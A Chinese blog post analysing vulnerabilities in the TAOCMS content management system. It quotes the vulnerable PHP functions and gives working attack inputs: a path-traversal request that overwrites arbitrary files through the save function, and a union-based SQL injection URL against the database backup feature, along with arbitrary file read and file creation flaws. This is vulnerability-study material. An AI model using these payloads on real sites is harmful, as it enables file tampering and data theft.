TAOCMS漏洞代码学习及分析

路由规则

分为前台和后台,

前台在api.php中

<?php  
session_start();  
include('config.php');  
include(SYS_ROOT.INC.'common.php');  
$ctrl=$_REQUEST['ctrl'];  
$action=$_REQUEST['action'];  
$m=ucfirst($action);  
if(!in_array($m,array('Api','Comment')))die;  
$model=new $m();  
if (method_exists($m,$ctrl)) {  
$model->$ctrl();  
}

主要是判断m类参数是否有指定方法以及参数是否正确。

<?php  
session_start();  
include "../config.php";  
include "../include/common.php";  
$action=$_REQUEST['action'];  
$ctrl=$_REQUEST['ctrl'];  
$id=(array)$_REQUEST['id'];  
//请登录  
if(!Base::checkadmin()&&$ctrl!='login'&&$ctrl!='checkUser'){  
Base::showmessage('',"index.php?action=login",1);  
}  
$referInfo=parse_url($_SERVER['HTTP_REFERER']);  
$referHost=isset($referInfo['port'])?"{$referInfo['host']}:{$referInfo['port']}":$referInfo['host'];  
if($referHost !== $_SERVER['HTTP_HOST']&&$ctrl!='login'){  
Base::showmessage('refer error','admin.php?action=frame&ctrl=logout');  
}  
if(Base::catauth($action)){  
if(class_exists($action)){  
$model=new $action($action,$id);  
if (method_exists($action,$ctrl)) {  
$model->$ctrl();  
}  
}  
}  
?>

好像规则差不多,就是加了一个session验证,然后写法不太一样其他就差不多了。

任意文件读取

在file.php中的download函数中,

function download(){  
$info=pathinfo($this->path);  
header('Content-Disposition: attachment; filename="'.$info['basename'].'"');  
echo file_get_contents($this->realpath);  
}

可以看到这个函数没有对获取文件进行任何过滤。

并且在managefile中有对参数的输入
![[Pasted image 20250226225556.png]]
所以可以利用。

任意文件写入

一、直接使用save

同样位于File文件中

function save(){  
$path=$this->path;  
if(!is_writable($this->realpath))Base::showmessage('无保存权限');  
$filedata=get_magic_quotes_gpc()?Base::magic2word($_POST['filedata']):$_POST['filedata'];  
$status=file_put_contents($this->realpath,$filedata);  
if($status){  
Base::showmessage('保存成功','admin.php?action=file&ctrl=lists');  
}  
}

可以看到save函数并没有对文件内容及文件名称进行任何过滤,所以可以进行php文件写入及替换

name=data%2Finstall.lock&filedata=arbitrary+file+writing+test&action=file&ctrl=save&path=../../importantfile.php&Submit=%E4%BF%9D%E5%AD%98

任意文件上传

使用创建文件的create方法,可以进行创建文件,并且没有过滤

function create(){  
if(!$_GET['name']){  
Base::showmessage('请填写文件名/文件夹名');  
}  
$file=$this->realpath.'/'.$_GET['name'];  
if($_GET['isdir']==1){  
mkdir($file);  
$str='目录';  
}else{  
fopen($file,'a');  
$str='文件';  
}  
if(!is_writable($file))Base::showmessage('新建'.$str.'失败');  
$info=pathinfo($this->path.$_GET['name']);  
Base::showmessage('新建'.$str.'成功','admin.php?action=file&ctrl=lists&path='.$info['dirname']);  
}

可以通过
![[Pasted image 20250227195758.png]]

进行调用,create函数,进行文件上传

sql注入

function create(){  
header('Content-type: application/txt');  
header('Content-Disposition: attachment; filename="backup-'.date('Y-m-d').'.sql"');  
$backups='';  
$bulist=explode('|',$_GET['bulist']);  
foreach($bulist as $bus){  
$addsql=($bus=='cms'&&$_GET['from'])?' limit '.$_GET['from'].','.$_GET['to']:'';  
$sql='select *from '.TB.$bus.$addsql;  
$o=$this->db->query($sql);  
while($data=$this->db->fetch_array($o)){  
$colums='';  
$datas='';  
foreach($data as $key=>$v){  
$colums.=$key.',';  
$datas.="'".Base::safeword($v)."',";  
}  
$backups.= 'REPLACE INTO '.TB.$bus.' ('.substr($colums,0,-1).') VALUES('.substr($datas,0,-1).');'."\n";  
}  
}  
echo substr($backups,0,-2);  
}

可以看到这个create中bulist是可以自己上传的,并且直接进行了拼接。

/admin/admin.php?action=datastore&ctrl=create&bulist=admin+where+id=1+union+select+(user()),2,3,4,5,6,7,8
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

follycat

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值